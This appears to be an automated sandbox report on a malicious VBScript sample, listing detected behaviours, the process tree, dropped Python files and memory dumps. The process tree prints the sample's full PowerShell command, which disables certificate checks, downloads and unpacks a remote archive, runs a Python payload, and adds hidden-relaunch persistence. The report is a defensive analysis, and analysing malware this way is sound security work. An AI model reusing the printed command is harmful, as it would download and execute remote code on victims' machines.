Analysis
- max time kernel
148s - max time network
124s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260617-en - resource tags
- submitted
22/06/2026, 12:18
General
- Target 952203.vbs
- Size 191KB
- Sample260622-pg217scs8t
- SHA256 8b9e4f92bb9551e01ed45c1fffaef2c8771e3a84e01c0fdb6bcec4a7428e0621
Malware Config
Signatures
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Start PowerShell.
- Executes dropped EXE 2 IoCs
- Loads dropped DLL 14 IoCs
- Adds Run key to start application 2 TTPs 2 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 5 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 19 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 7 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\952203.vbs"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "[System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true};$v=$null;Add-Type -AssemblyName Microsoft.VisualBasic;[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;$z=Join-Path $env:PUBLIC 'Downloads\python312x86.zip';$e=Join-Path $env:USERPROFILE 'AppData\Roaming\Templates';if(Test-Path $z){Remove-Item $z -Force};$v=[Microsoft.VisualBasic.Interaction]::CallByName((&{$w=New-Object Net.WebClient;$w.Headers.Add('User-Agent','Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36');$w.Headers.Add('Referer','https://www.filemail.com/');$w}),'DownloadFile',[Microsoft.VisualBasic.CallType]::Method,'https://3007.filemail.com/api/file/get?filekey=6cRy8umYgKAtc9VPNbfqecTHiU_uCPqFzC8OnkDExJL3uJJDC4oD5ib9nv0',$z);if(Test-Path $e){Remove-Item $e -Recurse -Force};New-Item -Path $e -ItemType Directory -Force;Add-Type -AssemblyName System.IO.Compression.FileSystem;[System.IO.Compression.ZipFile]::ExtractToDirectory($z,$e);$p=Join-Path $e 'python312x86\python.exe';$s=Join-Path $e 'python312x86\Protected.py';Start-Process -FilePath $p -ArgumentList $s -WorkingDirectory (Split-Path $s);Remove-Item $z -Force"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\Templates\python312x86\python.exe"C:\Users\Admin\AppData\Roaming\Templates\python312x86\python.exe" C:\Users\Admin\AppData\Roaming\Templates\python312x86\Protected.py3⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Windows Mail\wab.exe"C:\Program Files (x86)\Windows Mail\wab.exe"4⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -WindowStyle Hidden -Command $e=Join-Path $env:USERPROFILE 'AppData\Roaming\Templates\python312x86';$p=Join-Path $e 'pythonw.exe';$s=Join-Path $e 'Protected.py';if((Test-Path $p)-and(Test-Path $s)){Start-Process $p $s -WorkingDirectory $e}1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\Templates\python312x86\pythonw.exe"C:\Users\Admin\AppData\Roaming\Templates\python312x86\pythonw.exe" C:\Users\Admin\AppData\Roaming\Templates\python312x86\Protected.py2⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Windows Mail\wab.exe"C:\Program Files (x86)\Windows Mail\wab.exe"3⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
AES.py
__init__.py
AES.cpython-312.pyc
__init__.cpython-312.pyc
_mode_cbc.cpython-312.pyc
_mode_cbc.py
_raw_aes.pyd
_raw_aesni.pyd
_raw_cbc.pyd
__init__.py
__init__.cpython-312.pyc
Padding.py
__init__.py
Padding.cpython-312.pyc
__init__.cpython-312.pyc
_cpu_features.cpython-312.pyc
_file_system.cpython-312.pyc
_raw_api.cpython-312.pyc
py3compat.cpython-312.pyc
py3compat.cpython-312.pyc
_cpu_features.py
_cpuid_c.pyd
_file_system.py
_raw_api.py
py3compat.py
__init__.py
__init__.cpython-312.pyc
__init__.cpython-312.pyc
Protected.py
Readme.txt
_builtin_.cpython-312.pyc
_builtin_.py
_ctypes.pyd
libffi-8.dll
python.exe
python312.dll
python312.zip
pythonw.exe
memory/708-1216-0x000001C87B330000-0x000001C87B352000-memory.dmp
memory/2052-1142-0x0000000074290000-0x0000000074A4C000-memory.dmp
memory/2052-20-0x00000000025D0000-0x00000000025DA000-memory.dmp
memory/2052-6-0x0000000004D70000-0x0000000004DD6000-memory.dmp
memory/2052-7-0x0000000004DE0000-0x0000000004E46000-memory.dmp
memory/2052-10-0x00000000055F0000-0x000000000594B000-memory.dmp
memory/2052-1149-0x0000000074290000-0x0000000074A4C000-memory.dmp
memory/2052-11-0x0000000005AA0000-0x0000000005ABE000-memory.dmp
memory/2052-1141-0x00000000742A2000-0x00000000742A3000-memory.dmp
memory/2052-4-0x0000000074290000-0x0000000074A4C000-memory.dmp
memory/2052-0-0x00000000742A2000-0x00000000742A3000-memory.dmp
memory/2052-21-0x00000000071D0000-0x00000000071E2000-memory.dmp
memory/2052-5-0x0000000004CD0000-0x0000000004CF2000-memory.dmp
memory/2052-18-0x0000000007F10000-0x00000000084CA000-memory.dmp
memory/2052-2-0x0000000004FA0000-0x00000000055EA000-memory.dmp
memory/2052-3-0x0000000074290000-0x0000000074A4C000-memory.dmp
memory/2052-17-0x0000000006E00000-0x0000000006E22000-memory.dmp
memory/2052-12-0x0000000005AF0000-0x0000000005B3C000-memory.dmp
memory/2052-16-0x0000000006EF0000-0x0000000006F86000-memory.dmp
memory/2052-1-0x0000000002230000-0x0000000002266000-memory.dmp
memory/2052-15-0x0000000006E50000-0x0000000006EEC000-memory.dmp
memory/2052-13-0x00000000072D0000-0x000000000794C000-memory.dmp
memory/2052-14-0x0000000006040000-0x000000000605A000-memory.dmp
memory/6036-1218-0x0000000000400000-0x0000000000446000-memory.dmp
memory/6036-1213-0x0000000000B40000-0x0000000000B94000-memory.dmp